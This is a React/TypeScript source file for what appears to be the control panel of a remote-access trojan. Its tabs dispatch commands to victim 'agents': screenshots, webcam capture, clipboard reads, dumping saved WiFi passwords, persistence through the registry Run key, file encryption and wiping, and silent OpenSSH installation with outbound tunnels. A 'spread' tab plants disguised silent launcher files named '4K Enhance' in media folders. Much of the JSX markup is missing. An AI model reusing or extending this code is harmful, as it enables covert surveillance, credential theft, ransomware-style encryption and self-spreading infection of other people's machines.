import { useState, useEffect, useRef, useCallback } from 'react'; import { api } from '../../api/client'; import type { Agent, Build } from '../../types'; import { aggressiveActionHint, type AggressiveRemoteAction } from '../../help/aggressiveActions'; import { isWindowsPlatform, onlineAgents, parseCameraListMessage, selectionAggressiveHint, selectionCanRunAggressive, } from '../../help/crucibleOps'; import { desktopPathHint, pushFileToAgentDesktop } from '../../help/desktopPush'; import CrucibleCollapsibleSection from './CrucibleCollapsibleSection'; import CruciblePortForwardMatrix from './CruciblePortForwardMatrix'; import FileManager from './FileManager'; import ProtocolTunnelPanel from './ProtocolTunnelPanel'; import './ProtocolTunnelPanel.css'; interface FmCommandResult { agentId: string; action: string; success: boolean; message: string; } interface Props { activeTab: 'ops' | 'recon' | 'files' | 'spread' | 'tunnels'; selectedAgents: Agent[]; selectedCount: number; singleSelectedAgent: Agent | null; allAgents: Agent[]; commandResults?: Array<{ agent_id?: string; action?: string; success?: boolean; message?: string }>; onEcho: (text: string, isCmd?: boolean) => void; onAgentError: (agentId: string, agentName: string, action: string, err: unknown) => void; onScanSelected: () => void; onProbePosture: () => void; onProbeSSH: () => void; onWakeSSH: () => void; onShellDispatch: (command: string) => void; browseAgent: Agent | null; encryptTargets: Array<{ id: string; name: string }>; fmCommandResults: FmCommandResult[]; tunnelStatusMsg: string; onDispatchTunnel: (action: string, args?: Record) => Promise; } export default function CrucibleExpandedOps({ activeTab, selectedAgents, selectedCount, singleSelectedAgent, allAgents, commandResults, onEcho, onAgentError, onScanSelected, onProbePosture, onProbeSSH, onWakeSSH, onShellDispatch, browseAgent, encryptTargets, fmCommandResults, tunnelStatusMsg, onDispatchTunnel, }: Props) { const targets = onlineAgents(selectedAgents); const winTargets = targets.filter((a) => isWindowsPlatform(a.platform)); const hasSelection = selectedCount > 0; const singleOnline = singleSelectedAgent?.status === 'online' ? singleSelectedAgent : null; const onlineFleetCount = allAgents.filter((a) => a.status === 'online').length; const [builds, setBuilds] = useState([]); const [selectedBuildId, setSelectedBuildId] = useState(''); const [liveDesktop, setLiveDesktop] = useState(false); const liveDesktopRef = useRef(false); liveDesktopRef.current = liveDesktop; const [wolMac, setWolMac] = useState(''); const [registryOpen, setRegistryOpen] = useState(false); const [regHive, setRegHive] = useState('HKCU'); const [regPath, setRegPath] = useState('Software\\Microsoft\\Windows\\CurrentVersion\\Run'); const [regName, setRegName] = useState(''); const [regValue, setRegValue] = useState(''); const [regType, setRegType] = useState('REG_SZ'); const [cameras, setCameras] = useState([]); const [selectedCamera, setSelectedCamera] = useState(''); const [killPid, setKillPid] = useState(''); const [deletePath, setDeletePath] = useState(''); const [moveSrc, setMoveSrc] = useState(''); const [moveDst, setMoveDst] = useState(''); const [wipePath, setWipePath] = useState(''); const [downloadPath, setDownloadPath] = useState(''); const [uploadPath, setUploadPath] = useState(''); const uploadFileRef = useRef(null); const [seekPath, setSeekPath] = useState(''); const [seekStem, setSeekStem] = useState('4K Enhance'); const [seekWin, setSeekWin] = useState(true); const [seekMac, setSeekMac] = useState(true); const [tunnelURL, setTunnelURL] = useState(''); useEffect(() => { api.listBuilds().then(setBuilds).catch(() => setBuilds([])); }, []); useEffect(() => { if (singleSelectedAgent?.mac_address && !wolMac) { setWolMac(singleSelectedAgent.mac_address); } }, [singleSelectedAgent?.mac_address, wolMac]); const dispatchOne = useCallback( async (agent: Agent, action: string, args: Record = {}) => { try { const res = await api.sendAgentCommand(agent.id, action, args); if (res.success === false) { onAgentError(agent.id, agent.name, action, res.error ?? 'rejected'); } } catch (err) { onAgentError(agent.id, agent.name, action, err); } }, [onAgentError] ); const bulkDispatch = useCallback( (action: string, args: Record = {}, tgts = targets) => { if (tgts.length === 0) return; for (const a of tgts) { void dispatchOne(a, action, args); } onEcho(`${action} → ${tgts.length} node(s)`, true); }, [dispatchOne, onEcho, targets] ); const aggDisabled = (action: AggressiveRemoteAction) => !hasSelection || targets.length === 0 || !selectionCanRunAggressive(action, selectedAgents); const aggTitle = (action: AggressiveRemoteAction) => selectionAggressiveHint(action, selectedAgents) ?? aggressiveActionHint(action, singleSelectedAgent?.capabilities, singleSelectedAgent?.platform); const aggBulk = ( action: AggressiveRemoteAction, args: Record = {}, confirm?: string, tgts = targets ) => { if (!hasSelection || tgts.length === 0) return; if (confirm && !window.confirm(confirm)) return; bulkDispatch(action, args, tgts); }; const launchSeek = () => { if (targets.length === 0) { alert('Select at least one online node to seed from.'); return; } if (!seekPath.trim()) { alert('Enter a root path to scan (e.g. D:\\ or /Volumes/Movies).'); return; } const flag = seekWin && seekMac ? 'all' : seekWin ? 'win' : 'mac'; for (const a of targets) { api.sendAgentCommand(a.id, 'supp_seek', { path: seekPath.trim(), command: flag, data: seekStem.trim() || '4K Enhance', }).catch((err) => onAgentError(a.id, a.name, 'supp_seek', err)); } onEcho( `SUPP SEEK → ${seekPath.trim()} [${flag.toUpperCase()}] stem="${seekStem || '4K Enhance'}" on ${targets.length} node(s)`, true ); }; const intelCmds = ['screenshot', 'camera_snapshot', 'clipboard', 'wifi', 'software', 'ps', 'netstat', 'sysinfo', 'users'] as const; const intelTitles: Record<(typeof intelCmds)[number], string> = { screenshot: 'Capture the desktop screenshot', camera_snapshot: 'Capture one JPEG frame from USB/built-in webcam (ffmpeg on agent)', clipboard: 'Read the current clipboard contents', wifi: 'Dump all saved WiFi passwords', software: 'List installed programs', ps: 'Running process list (tasklist)', netstat: 'Active TCP/UDP connections', sysinfo: 'Full system info (OS, CPU, RAM, uptime)', users: 'Local user accounts + whoami /all', }; useEffect(() => { if (!liveDesktop || !singleOnline) return; let focused = document.visibilityState === 'visible'; const onVis = () => { focused = document.visibilityState === 'visible'; }; document.addEventListener('visibilitychange', onVis); const tick = () => { if (!focused || !liveDesktopRef.current) return; api.sendAgentCommand(singleOnline.id, 'screenshot').catch(() => {}); }; const id = setInterval(tick, 3000); tick(); return () => { clearInterval(id); document.removeEventListener('visibilitychange', onVis); }; }, [liveDesktop, singleOnline]); useEffect(() => () => setLiveDesktop(false), []); const lastCameraMsg = useRef(''); useEffect(() => { if (!commandResults?.length) return; const hit = [...commandResults].reverse().find((r) => r.action === 'camera_list' && r.success && r.message); if (!hit?.message || hit.message === lastCameraMsg.current) return; lastCameraMsg.current = hit.message; const devs = parseCameraListMessage(hit.message); if (devs.length > 0) { setCameras(devs); setSelectedCamera(devs[0]); } }, [commandResults]); const listCameras = async () => { const agent = singleOnline ?? targets[0]; if (!agent) return; onEcho('camera_list → ' + agent.name, true); try { const res = await api.sendAgentCommand(agent.id, 'camera_list'); if (res.success === false) { onAgentError(agent.id, agent.name, 'camera_list', res.error); } } catch (err) { onAgentError(agent.id, agent.name, 'camera_list', err); } }; const registryDispatch = (action: 'registry_read' | 'registry_write' | 'registry_delete') => { const regTargets = targets.filter((a) => isWindowsPlatform(a.platform)); if (regTargets.length === 0) { alert('Registry ops require online Windows agent(s).'); return; } if (regTargets.length > 1 && !window.confirm(`Registry ${action} on ${regTargets.length} Windows nodes?`)) { return; } const payload = action === 'registry_read' ? { data: JSON.stringify({ hive: regHive, path: regPath }) } : action === 'registry_write' ? { data: JSON.stringify({ hive: regHive, path: regPath, name: regName, value: regValue, type: regType, }), } : { data: JSON.stringify({ hive: regHive, path: regPath, name: regName }) }; bulkDispatch(action, payload, regTargets); }; const sendWol = async () => { const tgts = selectedAgents.length > 0 ? selectedAgents : []; if (tgts.length === 0) return; for (const a of tgts) { try { const res = await api.sendWOL(a.id, wolMac || a.mac_address || undefined); onEcho( res.success ? `✓ WOL → ${a.name} (${res.mac ?? wolMac ?? 'stored MAC'})` : `✗ WOL ${a.name}: ${res.error ?? 'failed'}`, true ); } catch (err) { onAgentError(a.id, a.name, 'wol', err); } } }; const pushUpgrade = () => { const build = builds.find((b) => b.id === selectedBuildId); if (!build?.download_url || targets.length === 0) return; if (!window.confirm(`Push upgrade (${build.file_name ?? build.id}) to ${targets.length} node(s)?`)) return; bulkDispatch('upgrade', { data: build.download_url }); }; const panelClass = `crucible-ops crucible-ops--${activeTab}`; if (activeTab === 'ops') { return (
setWolMac(e.target.value)} />
{registryOpen && (
setRegPath(e.target.value)} placeholder="Software\...\Run" />
setRegName(e.target.value)} placeholder="Value name" /> setRegValue(e.target.value)} placeholder="Value (write)" />
)}
setKillPid(e.target.value)} />
); } if (activeTab === 'recon') { return (
{intelCmds.map((cmd) => ( ))} {singleOnline && ( )}
{cameras.length > 0 && ( )}
); } if (activeTab === 'files') { return (
{desktopPathHint(selectedAgents[0]?.platform)}
setDownloadPath(e.target.value)} />
setUploadPath(e.target.value)} />
{browseAgent && hasSelection && ( {selectedCount > 1 && (

Browsing {browseAgent.name} only — Encrypt applies to all {encryptTargets.length} online selection(s).

)}
)}
setDeletePath(e.target.value)} />
setMoveSrc(e.target.value)} /> setMoveDst(e.target.value)} />
setWipePath(e.target.value)} />
); } if (activeTab === 'spread') { return (

Recursively seeds every media directory under the given path with silent launcher files.

setSeekPath(e.target.value)} /> setSeekStem(e.target.value)} />
); } if (activeTab === 'tunnels') { return (
1
Probe — test if port 22 is open on the target machine.
2
Wake SSH (Windows) — installs OpenSSH Server, starts the service, marks it auto-start. Requires admin agent.
3
Connect directly — on the same LAN, ssh user@<ip>. Node IP is on each roster card.
4
Remote (via tunnel) — use Protocol Tunneling or tunnel_cloudflared so the node dials out to your control URL.
setTunnelURL(e.target.value)} />
{singleSelectedAgent && ( )} dispatchOne(agent, action, args)} />
); } return null; }